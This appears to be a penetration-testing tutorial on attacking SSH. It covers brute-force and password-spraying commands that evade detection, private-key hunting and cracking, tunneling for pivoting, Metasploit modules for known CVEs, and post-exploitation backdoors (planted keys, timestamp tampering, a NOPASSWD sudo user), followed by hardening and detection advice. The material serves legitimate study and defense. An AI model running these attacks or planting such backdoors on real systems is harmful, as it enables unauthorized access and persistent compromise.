SSH Service Attacks and Exploitation

SSH Service Attacks and Exploitation

Comprehensive SSH attack techniques including password brute-force, key-based attacks, tunneling, port forwarding, and session hijacking methods.

Introduction

Secure Shell (SSH) is a cryptographic network protocol for secure remote system administration and file transfers over unsecured networks. Originally designed as a secure replacement for Telnet and rsh, SSH has become the de facto standard for remote access to Linux/Unix systems and network devices.

Despite its security-focused design, SSH implementations and configurations remain vulnerable to various attacks:

  • Weak credentials: Default or easily guessed passwords
  • Exposed private keys: SSH keys with inadequate protection
  • Misconfigured services: Overly permissive settings and authentication methods
  • Outdated versions: Known vulnerabilities in older SSH implementations
  • User enumeration: Information disclosure through timing attacks
  • Cryptographic weaknesses: Deprecated algorithms and weak key exchanges

Why SSH Remains a Priority Target

SSH is ubiquitous in modern infrastructure, making it a high-value target for attackers:

  • Universal deployment: Present on virtually all Linux/Unix servers
  • Privileged access: Direct root or administrator access when compromised
  • Pivoting capabilities: Port forwarding and tunneling for lateral movement
  • Persistence mechanism: SSH keys provide long-term backdoor access
  • Internet-exposed: Frequently accessible from external networks
  • Cloud environments: Primary access method for cloud instances (AWS, Azure, GCP)

Successful SSH compromise often represents full system compromise, making it a critical focus for both attackers and defenders.

Technical Background

SSH Protocol Architecture

SSH operates on a layered protocol structure:

Transport Layer (SSH-TRANS):

  • Provides server authentication
  • Establishes encryption and integrity
  • Supports key exchange and algorithm negotiation
  • Default port: TCP/22

User Authentication Layer (SSH-USERAUTH):

  • Handles client authentication
  • Supports multiple authentication methods
  • Validates user credentials

Connection Layer (SSH-CONN):

  • Multiplexes encrypted tunnel
  • Provides channel management
  • Supports port forwarding, X11 forwarding, agent forwarding

Authentication Methods

MethodDescriptionSecurity Considerations
PasswordTraditional username/passwordVulnerable to brute-force
Public KeyAsymmetric key pair authenticationSecure if keys protected
Host-basedAuthenticates based on client hostnameRarely used, spoofable
Keyboard-interactiveChallenge-response (e.g., OTP)Strong with MFA
GSSAPIKerberos-based authenticationComplex, enterprise environments
CertificateSSH certificate authoritiesMost secure, least common

SSH Key Types and Strengths

AlgorithmKey SizeSecurity LevelNotes
RSA2048-4096 bitsAdequate-StrongMost compatible
Ed25519256 bitsVery StrongModern, recommended
ECDSA256-521 bitsStrongAvoid 256-bit (NSA concerns)
DSA1024 bitsWeakDeprecated, avoid

Common SSH Configurations

Client Configuration (~/.ssh/config):

Host example
    HostName 10.10.11.45
    User admin
    Port 2222
    IdentityFile ~/.ssh/id_rsa
    ProxyJump bastion.example.com

Server Configuration (/etc/ssh/sshd_config):

Port 22
PermitRootLogin no
PasswordAuthentication yes
PubkeyAuthentication yes
PermitEmptyPasswords no
MaxAuthTries 3
AllowUsers admin backup

Enumeration

Identify SSH service version for vulnerability research:

# Using Netcat
nc 10.10.11.45 22

# Using Telnet
telnet 10.10.11.45 22

# Using Nmap
nmap -p 22 -sV 10.10.11.45

# Using ssh-keyscan
ssh-keyscan 10.10.11.45

# Using Python
python3 -c 'import socket; s=socket.socket(); s.connect(("10.10.11.45",22)); print(s.recv(1024))'

Example Output:

SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5
SSH-2.0-OpenSSH_7.4
SSH-2.0-libssh_0.9.6

Nmap SSH Enumeration

# Comprehensive SSH scan
nmap -p 22 -sV -sC --script=ssh* 10.10.11.45

# Specific useful scripts
nmap -p 22 --script ssh2-enum-algos 10.10.11.45
nmap -p 22 --script ssh-hostkey 10.10.11.45
nmap -p 22 --script ssh-auth-methods 10.10.11.45
nmap -p 22 --script ssh-brute 10.10.11.45

# Check for weak encryption
nmap -p 22 --script ssh2-enum-algos 10.10.11.45 | grep -E "arcfour|cbc"

Useful NSE Scripts:

  • ssh2-enum-algos: List supported encryption algorithms
  • ssh-auth-methods: Enumerate authentication methods for user
  • ssh-hostkey: Retrieve SSH host key
  • ssh-brute: Brute-force SSH credentials
  • sshv1: Detect deprecated SSHv1 protocol
  • ssh-publickey-acceptance: Test if server accepts public keys

SSH Audit Tool

ssh-audit provides comprehensive security analysis:

# Install
sudo apt install ssh-audit

# Audit SSH server
ssh-audit 10.10.11.45

# Audit specific port
ssh-audit -p 2222 10.10.11.45

# JSON output
ssh-audit -j 10.10.11.45 > ssh-audit.json

Output Example:

[0;91m(key) ssh-rsa (1024-bit)                    -- [fail] using broken SHA-1 hash algorithm
[0;91m(key) ssh-rsa (1024-bit)                    -- [fail] key size is insufficient
[0;33m(enc) 3des-cbc                              -- [warn] using weak cipher
[0;33m(mac) hmac-md5                              -- [warn] using weak hashing algorithm

User Enumeration

Timing-based User Enumeration:

# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run

# Manual timing analysis
time ssh [email protected]
time ssh [email protected]
# Compare response times - valid users typically respond slower

User Enumeration Limitations

Many modern SSH implementations have patched timing-based user enumeration. OpenSSH 7.7+ includes mitigations that equalize response times for valid and invalid users.

Exploitation Techniques

Password Brute-Force Attacks

Prepare Wordlists

# Common wordlists
/usr/share/wordlists/rockyou.txt
/usr/share/wordlists/metasploit/unix_passwords.txt
/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

# Generate custom wordlist
crunch 8 8 -t admin@@@ > passwords.txt

# Use cewl for target-specific wordlist
cewl https://company.com -w wordlist.txt

Hydra Brute-Force

# Single username
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.45

# User list
hydra -L users.txt -P passwords.txt ssh://10.10.11.45

# Specific port
hydra -l admin -P passwords.txt -s 2222 ssh://10.10.11.45

# Faster execution (use cautiously)
hydra -l admin -P passwords.txt -t 4 ssh://10.10.11.45

# Stop after first success
hydra -l admin -P passwords.txt -f ssh://10.10.11.45

# With verbose output
hydra -l admin -P passwords.txt -V ssh://10.10.11.45

Medusa Brute-Force

# Basic attack
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh

# Multiple users
medusa -h 10.10.11.45 -U users.txt -P passwords.txt -M ssh

# Threading control
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -t 4

# Verbose mode
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -v 6

# Stop on first success
medusa -h 10.10.11.45 -u admin -P passwords.txt -M ssh -f

Metasploit SSH Login Scanner

msfconsole
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME admin
msf6 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
msf6 auxiliary(scanner/ssh/ssh_login) > run

Brute-Force Detection and Prevention

Modern SSH servers implement fail2ban, rate limiting, and account lockouts. Password spraying (one password across many accounts) is more effective:

# Password spray with Hydra
hydra -L users.txt -p Welcome123! ssh://10.10.11.45

# Spray with delays to avoid detection
for user in $(cat users.txt); do hydra -l $user -p Welcome123! ssh://10.10.11.45; sleep 300; done

SSH Key-Based Attacks

Private Key Discovery

# Search for SSH private keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name "*.pem" 2>/dev/null

# Common locations
~/.ssh/id_rsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# Search in web directories
find /var/www -name "*.pem" -o -name "id_rsa" 2>/dev/null

# Check backups
find /var/backups -name "*.key" -o -name "id_*" 2>/dev/null

SSH Key Permissions

Proper SSH key permissions are critical:

# Correct permissions
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 644 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config

# Fix all SSH permissions at once
chmod 700 ~/.ssh && chmod 600 ~/.ssh/* && chmod 644 ~/.ssh/*.pub

Using Discovered Private Keys

# Basic connection
ssh -i id_rsa [email protected]

# If key has wrong permissions
chmod 600 id_rsa
ssh -i id_rsa [email protected]

# Bypass strict host key checking
ssh -i id_rsa -o StrictHostKeyChecking=no [email protected]

# Verbose connection for debugging
ssh -i id_rsa -v [email protected]

Cracking Encrypted Private Keys

# Convert SSH key to John format
ssh2john id_rsa > id_rsa.hash

# Crack with John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash

# Show cracked password
john --show id_rsa.hash

# Use cracked passphrase
ssh -i id_rsa [email protected]
# Enter passphrase when prompted

SSH Tunneling and Port Forwarding

SSH's tunneling capabilities are powerful for pivoting and accessing internal networks.

Local Port Forwarding

Forward local port to remote destination through SSH:

# Basic local forward
ssh -L 8080:localhost:80 [email protected]

# Access internal web server
ssh -L 8080:192.168.1.100:80 [email protected]
# Then browse to: http://localhost:8080

# Multiple port forwards
ssh -L 8080:localhost:80 -L 3306:192.168.1.50:3306 [email protected]

# Forward to different destination
ssh -L 5901:10.10.10.100:5900 [email protected]

# Bind to all interfaces (dangerous)
ssh -L 0.0.0.0:8080:localhost:80 [email protected]

Remote Port Forwarding

Forward remote port back to local machine:

# Basic remote forward
ssh -R 8080:localhost:80 [email protected]

# Expose local service to remote network
ssh -R 9001:localhost:9001 [email protected]

# Reverse shell through SSH
ssh -R 4444:localhost:4444 [email protected]
# Then nc -lvnp 4444 locally

Dynamic Port Forwarding (SOCKS Proxy)

Create SOCKS proxy for proxying traffic:

# Create SOCKS5 proxy on port 1080
ssh -D 1080 [email protected]

# Specify bind address
ssh -D 127.0.0.1:1080 [email protected]

# Use with proxychains
# Edit /etc/proxychains4.conf: socks5 127.0.0.1 1080
proxychains nmap -sT 192.168.1.0/24

# Use with Firefox
# Settings → Network → Manual Proxy → SOCKS Host: 127.0.0.1, Port: 1080

SSH Jump/Bastion Hosts

# ProxyJump (OpenSSH 7.3+)
ssh -J bastion.example.com [email protected]

# Multiple jumps
ssh -J bastion1,bastion2 [email protected]

# ProxyCommand (older method)
ssh -o ProxyCommand="ssh -W %h:%p bastion.example.com" [email protected]

Known SSH Vulnerabilities

OpenSSH Username Enumeration (CVE-2018-15473)

# Using Metasploit
msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > exploit

# Using Python script
git clone https://github.com/epi052/cve-2018-15473.git
cd cve-2018-15473
python3 ssh-username-enum.py --port 22 --userList users.txt 10.10.11.45

Affected Versions: OpenSSH < 7.7

LibSSH Authentication Bypass (CVE-2018-10933)

# Using Metasploit
msf6 > use auxiliary/scanner/ssh/libssh_auth_bypass
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > set SPAWN_PTY true
msf6 auxiliary(scanner/ssh/libssh_auth_bypass) > run

Affected Versions: libssh 0.6.0 - 0.7.5, 0.8.0 - 0.8.3

Terrapin Attack (CVE-2023-48795)

Prefix truncation attack against SSH protocol:

# Check if server is vulnerable
ssh-audit 10.10.11.45 | grep -i "terrapin"

# Mitigation: Update to OpenSSH 9.6+ or disable affected algorithms

Post-Exploitation

Persistence via SSH Keys

Generate SSH Key Pair

# Generate Ed25519 key (recommended)
ssh-keygen -t ed25519 -f ./backdoor_key -N ""

# Generate RSA key (more compatible)
ssh-keygen -t rsa -b 4096 -f ./backdoor_key -N ""

# Generate with comment
ssh-keygen -t ed25519 -f ./backdoor_key -C "legit-admin-key" -N ""

Install Public Key on Target

# Append to authorized_keys
echo "ssh-ed25519 AAAAC3Nza... attacker@kali" >> ~/.ssh/authorized_keys

# Create .ssh directory if needed
mkdir -p ~/.ssh
chmod 700 ~/.ssh
echo "ssh-ed25519 AAAAC3Nza... legit-admin" > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# For root persistence
echo "ssh-ed25519 AAAAC3Nza... backup-key" >> /root/.ssh/authorized_keys

Test Backdoor Access

# Connect with private key
ssh -i backdoor_key [email protected]

# Verify persistent access
ssh -i backdoor_key [email protected]

Stealth Considerations

# Use legitimate-looking key comment
ssh-keygen -t ed25519 -C "user@workstation" -N ""

# Hide in unusual authorized_keys locations
echo "ssh-ed25519 ..." >> ~/.ssh/authorized_keys2

# Modify timestamps to match
touch -r /etc/passwd ~/.ssh/authorized_keys

SSH Configuration Manipulation

# Modify sshd_config for persistence
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config
systemctl restart sshd

# Add backdoor user
useradd -m -s /bin/bash backdoor
echo "backdoor:P@ssw0rd123!" | chpasswd
usermod -aG sudo backdoor

# Allow without password
echo "backdoor ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

File Transfer via SSH

# SCP - Secure Copy
scp file.txt [email protected]:/tmp/
scp [email protected]:/etc/passwd ./
scp -r /local/dir [email protected]:/remote/dir

# SFTP - Secure FTP
sftp [email protected]
sftp> put local_file.txt
sftp> get remote_file.txt
sftp> mput *.txt
sftp> mget *.log

# Rsync over SSH
rsync -avz -e ssh /local/dir [email protected]:/remote/dir

Detection and Defense

Monitoring SSH Activity

Key Log Files:

# Authentication logs
/var/log/auth.log (Debian/Ubuntu)
/var/log/secure (RHEL/CentOS)

# SSH daemon logs
journalctl -u sshd

# Real-time monitoring
tail -f /var/log/auth.log | grep sshd

# Failed login attempts
grep "Failed password" /var/log/auth.log

# Successful logins
grep "Accepted" /var/log/auth.log

# Brute-force detection
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -n

Hardening SSH Configuration

Recommended /etc/ssh/sshd_config Settings:

# Disable root login
PermitRootLogin no

# Disable password authentication (key-only)
PasswordAuthentication no
PermitEmptyPasswords no

# Limit authentication attempts
MaxAuthTries 3

# Enable public key authentication
PubkeyAuthentication yes

# Disable unused authentication methods
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

# Use strong ciphers only
Ciphers [email protected],[email protected],[email protected],aes256-ctr,aes192-ctr,aes128-ctr

# Use strong MACs
MACs [email protected],[email protected],hmac-sha2-512,hmac-sha2-256

# Use strong key exchange algorithms
KexAlgorithms curve25519-sha256,[email protected],diffie-hellman-group16-sha512,diffie-hellman-group18-sha512

# Limit users and groups
AllowUsers admin backup
AllowGroups ssh-users

# Change default port (security through obscurity)
Port 2222

# Disable X11 forwarding
X11Forwarding no

# Disable TCP forwarding
AllowTcpForwarding no

# Log more information
LogLevel VERBOSE

# Connection limits
MaxSessions 2
MaxStartups 2:30:10

# Client alive interval (prevent hung sessions)
ClientAliveInterval 300
ClientAliveCountMax 0

# Use protocol 2 only
Protocol 2

Fail2ban Configuration

# Install fail2ban
sudo apt install fail2ban

# Configure SSH jail (/etc/fail2ban/jail.local)
[sshd]
enabled = true
port = 22
filter = sshd
logpath = /var/log/auth.log
maxretry = 3
bantime = 3600
findtime = 600

# Start and enable
sudo systemctl enable fail2ban
sudo systemctl start fail2ban

# Check banned IPs
sudo fail2ban-client status sshd

Two-Factor Authentication

# Install Google Authenticator
sudo apt install libpam-google-authenticator

# Configure for user
google-authenticator

# Edit /etc/pam.d/sshd
auth required pam_google_authenticator.so

# Edit /etc/ssh/sshd_config
ChallengeResponseAuthentication yes

# Restart SSH
sudo systemctl restart sshd

References

Last updated on